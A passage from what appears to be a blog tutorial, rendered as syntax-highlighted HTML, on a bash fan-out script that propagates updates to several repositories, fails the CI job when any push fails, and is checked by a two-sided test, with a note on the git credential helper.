&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;pushed brand update to &lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The fan-out loop&lt;/h2&gt;
&lt;p&gt;A fan-out has a requirement that fights the usual shell advice: it must visit &lt;em&gt;every&lt;/em&gt; consumer, so it cannot use &lt;code&gt;set -e&lt;/code&gt; to abort on the first failure. That’s reasonable, and it’s also the exact structure that lets failures pile up unnoticed, because once you’re catching each error you have to remember to do something with them. Save this as &lt;code&gt;fanout.sh&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# NOT `set -e`: a fan-out has to visit every consumer, so each failure is&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# captured and counted rather than aborting the run at the first one. That is&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# also exactly how a fan-out ends up reporting success while doing nothing.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -uo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; pipefail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;CONSUMERS&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;site report profile docs&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; logs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; results.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;failures&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;total&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; repo &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; $CONSUMERS; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  total&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$((&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;total&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; ./push_to.sh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;logs/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.log&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; 2&gt;&amp;#x26;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    printf&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;%-9s ok\n&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; results.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    printf&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;%-9s FAILED   %s\n&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;$(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;tail&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -n1 &quot;logs/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.log&quot;)&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; results.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    failures&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$((&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;failures&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; results.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;$((&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;total&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; - failures))/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$total&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; propagated&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# An `::error::` annotation is not a failure; GitHub decides by exit code.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# So the count has to actually become one.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [ &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$failures&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -ne&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ]; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;::error::&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$failures&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; of &lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$total&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumer(s) could not be propagated&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  exit&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;All consumers propagated.&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two details carry the weight. The &lt;code&gt;n/total propagated&lt;/code&gt; line means a human skimming the log sees the denominator, so “0/4” is legible at a glance in a way that four separate error lines are not. And the &lt;code&gt;exit 1&lt;/code&gt; is not decoration: &lt;a href=&quot;https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-commands&quot;&gt;GitHub’s workflow commands&lt;/a&gt; describe &lt;code&gt;::error::&lt;/code&gt; as something that “creates an error message and prints the message to the log”, and note that &lt;code&gt;core.setFailed&lt;/code&gt; is “used as a shortcut for &lt;code&gt;::error&lt;/code&gt; and exit 1”. The annotation and the failure are two separate things, and only the second one stops a release.&lt;/p&gt;
&lt;p&gt;Run it with no credential helper in the environment:&lt;/p&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;./fanout.sh&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;site      FAILED   fatal: could not read Username for &apos;https://github.com&apos;: No such device or address&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;report    FAILED   fatal: could not read Username for &apos;https://github.com&apos;: No such device or address&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;profile   FAILED   fatal: could not read Username for &apos;https://github.com&apos;: No such device or address&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;docs      FAILED   fatal: could not read Username for &apos;https://github.com&apos;: No such device or address&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0/4 propagated&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;::error::4 of 4 consumer(s) could not be propagated&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then with one configured, which is what &lt;code&gt;gh auth setup-git&lt;/code&gt; accomplishes on a real runner:&lt;/p&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;GIT_CREDENTIAL_HELPER&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; ./fanout.sh&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;site      ok&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;report    ok&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;profile   ok&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;docs      ok&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;4/4 propagated&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;All consumers propagated.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Make the gate prove it can fail&lt;/h2&gt;
&lt;p&gt;Here’s the part that would have caught the real bug. The dangerous version of this script differs from the correct one by two tokens: &lt;code&gt;::warning::&lt;/code&gt; instead of &lt;code&gt;::error::&lt;/code&gt;, and &lt;code&gt;exit 0&lt;/code&gt; instead of &lt;code&gt;exit 1&lt;/code&gt;. It produces identical output on a healthy run. So test both directions. Save this as &lt;code&gt;test_fanout.sh&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# Two-sided on purpose. Asserting only that a healthy fan-out passes lets the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# gate rot the day someone turns the failure back into a warning.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;TARGET&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;${1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:-&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;fanout&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;sh}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;fail&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GIT_CREDENTIAL_HELPER&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$TARGET&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &gt; &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; 2&gt;&amp;#x26;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;ok    healthy fan-out exits 0&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;FAIL  healthy fan-out should exit 0&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; fail&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$TARGET&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; /dev/null&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; 2&gt;&amp;#x26;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;FAIL  broken fan-out exited 0; this gate cannot fail&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; fail&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;ok    broken fan-out exits non-zero&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; $fail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now build the bad version deliberately and point the test at both:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;chmod&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; +x&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; test_fanout.sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;sed&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;s/::error::/::warning::/; s/^  exit 1$/  exit 0/&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fanout.sh&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fanout_warn.sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;chmod&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; +x&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fanout_warn.sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;--- fixed ---&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;./test_fanout.sh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; ./fanout.sh&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;--- warns only ---&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;./test_fanout.sh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; ./fanout_warn.sh&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;--- fixed ---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok    healthy fan-out exits 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok    broken fan-out exits non-zero&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;--- warns only ---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok    healthy fan-out exits 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;FAIL  broken fan-out exited 0; this gate cannot fail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The warning-only version passes the first assertion and fails the second, which is precisely the shape of the regression that shipped. A test that only asserted the happy path would have been green for both.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A token that authenticates your CLI does not authenticate &lt;code&gt;git&lt;/code&gt;.&lt;/strong&gt; &lt;code&gt;GH_TOKEN&lt;/code&gt; makes &lt;code&gt;gh&lt;/code&gt; work, and the natural inference is that the job is authenticated. Symptom: the confusing kind, where cloning succeeds, listing pull requests succeeds, creating a pull request succeeds, and only &lt;code&gt;git push&lt;/code&gt; fails, so it reads as a permissions problem with that one operation rather than a missing credential helper. press hit this on the 0.6.0 release, where all four consumers failed at exactly that step. The escape is &lt;code&gt;gh auth setup-git&lt;/code&gt; before the first push, and the diagnostic is that the error mentions a &lt;em&gt;username prompt&lt;/em&gt; rather than a 403.&lt;/p&gt;
